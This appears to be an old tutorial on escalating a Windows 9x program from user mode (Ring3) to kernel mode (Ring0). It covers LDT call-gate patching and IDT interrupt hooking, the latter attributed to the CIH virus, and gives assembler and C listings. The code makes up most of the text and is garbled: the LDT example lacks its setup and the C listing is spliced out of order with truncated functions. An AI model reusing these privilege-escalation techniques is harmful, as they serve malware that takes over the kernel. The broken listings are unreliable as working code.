The processor has four privileges levels: Ring0, Ring1, Ring2, Ring3
Normal programmes run in Ring3. Ring3 has a lot of restrictions e.g.
we can't read debugg registers and then intructions with debugg
register dont work (e.g. mov eax, dr7).
For us is good have more privileges and thefore we need Ring0. But there
is problem, just some special programmes have Ring0 privileges. Device
drivers run in Ring0, but code device driver isn't simple.
Fortunately Windows has a lot holes, especially Win9x. There are some
ways for switch program from Ring3 to Ring0. These methods use
a lot viruses but we need it for good objects.
These methods work only on Win9x. They worked on WinNT, but these holes
were fill, because they used hackers for attacks. We can test
version of Windows and if it is Win9x we will use them. If you need
use Ring0 on WinNT or Win2k, you must code device driver for this OS.
But user must has admin privileges for installation your program.
There is way for switch Ring3 to Ring0 too. But it is work only
with admin privileges. This maybe good for normal users, because
viruses have harder conditions, but for us it isn't very good. But
we cant change Windows, we must conform and try find new ways
all the time.
Switch to Ring0 by LDT (Locale Descriptor Table):
-------------------------------------------------
The oldest method which is little used. This isn't the best way, but it is
better than the IDT method, because no a lot people know it.
Example:
=============================================================================
.386p
.MODEL FLAT,STDCALL
locals
jumps
UNICODE=0
include w32.inc
Extrn SetUnhandledExceptionFilter : PROC
.data
msg1 db "Switch to Ring0 by LDT",0
msg2 db "Ring0 activated",0
add eax,8
mov edi,eax ;set in callgate for changes
mov esi,offset o_gate
;our "callgate" address
movsd ;move it to real callgate
movsd ;for jump to Ring0
call fword ptr [call_]
;jump to Ring0 to our Ring0 service
xor eax, eax
sub edi,8 ;delete our changes in callgate
stosd
stosd
call MessageBoxA,0, offset msg2, offset msg1,0
call ExitProcess, -1
;----------------------------------------------------------
;Our new Ring0 service
;----------------------------------------------------------
ring0:
mov eax, dr7 ;test for Ring0
retf ;back to RING3
ends
end Start
=============================================================================
I found on Internet next example by SoPinKy which is like to previous but
it is in C language.
//it is a example of a proc in Ring 0
Ring0Proc()
{
InitRing0();
__asm
{
int 20h //get current vm
_emit 0x01 //Function ID
_emit 0x00
_emit VMM_ID //VXD ID
_emit 0x00
//in ebx i have the handle
//of virtual machine
}
#include "VMMStruct.h"
//Data
DWORD VM=0,TR=0;
Control_Block *VMCBSystem=0,*VMCB=0;
DWORD esp3;
WORD cs3,ds3,es3,sp3,fs3,gs3; //State of ring 3 register
WORD cs0,ds0,es0,fs0,gs0; //State of ring 0 register
Comp *Callb,Callbcpy; //a callbacks
//to return of ring 0
#define RetCallback \
_asm sti \
_asm pop edi \
_asm pop esi \
_asm pop ebx \
_asm leave \
_asm retf;
InitDirectH()
{
FPWORD gdt; //Base of GDT
Descriptor *gdtdesc;
word a;
__asm sgdt gdt; //get the addres of GDT
gdtdesc=(Descriptor *)gdt.base;
//Call a proc and switch to ring 0
CallRing0(DWORD PUNTERO)
{
FPWORD gdt;
Descriptor *gdtdesc;
Comp *Callb,Callbcpy;
FARJMP salto;
WORD h,l;
salto.offset32=0;
salto.seg=0x08;
Callbcpy.sel=Callb->sel; //make a copy
Callbcpy.attrib=Callb->attrib;
Callbcpy.offs_l=Callb->offs_l;
Callbcpy.offs_h=Callb->offs_h;
Callb->sel=cs0;
Callb->attrib=0xec00;;
__asm
{
mov eax,PUNTERO
mov l,ax
shr eax,16
mov h,ax
}
Callb->offs_l=l;
Callb->offs_h=h;
__asm {
push ds
push es
push gs
push fs
} //save the ring 3 segment selectors
__asm //Call the CALL GATE!!!!
{
cli
call FWORD PTR salto
}
//restore de segment selectors in ring 3
__asm
{
cli
pop fs
pop gs
pop es
pop ds
sti
}
return;
}
//int 3h
int 20h
_emit 0x08 //get the thead handle
_emit 0x01
_emit VMM_ID
_emit 0x00
mov TR,edi
int 20h
_emit 0x01 //get current vm
_emit 0x00
_emit VMM_ID
_emit 0x00
mov VM,ebx //current VM handle, osea de sistema
sti
}
}
#endif
I think Assembler example is better for read than this C example.
Switch to Ring0 by IDT (Interupt Descriptor Table) aka EliCZ's method:
-------------------------------------------------
Next method is the best know. I saw it firts when used it my
friend EliCZ. After some days there was CIH virus which used
this method.
Most of programms which use Ring0 switching, use this method.
Some of anti-anti-debugg cracker's tools can detect it (Frog-Ice,
IceDump).
Example:
=============================================================================
.386p
.MODEL FLAT,STDCALL
locals
jumps
UNICODE=0
include w32.inc
Extrn SetUnhandledExceptionFilter : PROC
Interrupt equ 5 ;interrupt number which we will use
;if you use Int 1h or 3h, it will be
;more harder debugg your program
.DATA
msg1 db "Switch to Ring0 by IDT",0
msg2 db "Ring0 activated",0
.CODE
Start:
push edx
sidt [esp-2] ;read IDT to stack
pop edx ;address of Interrupt table
add edx,(Interrupt*8)+4
;Interrupt table base+Int number+size for
;Int in Interrupt table=Int vector address
mov ebx,[edx]
mov bx,word ptr [edx-4]
;read old address our interrupt (INT 5h)
;-----------------------------------------------------------------------------
;OUR NEW INT 5h HANDLER (it run in Ring0)
;-----------------------------------------------------------------------------
InterruptHandler:
mov eax,dr7 ;test for Ring0
iretd ;jump back to Ring3
ends
end Start
=============================================================================
There are some other methods. But they weren't use in any
program. I write about them in secret area. There are
two other methods for Win9x (two very good methods)
and one method for WinNT and Win2k.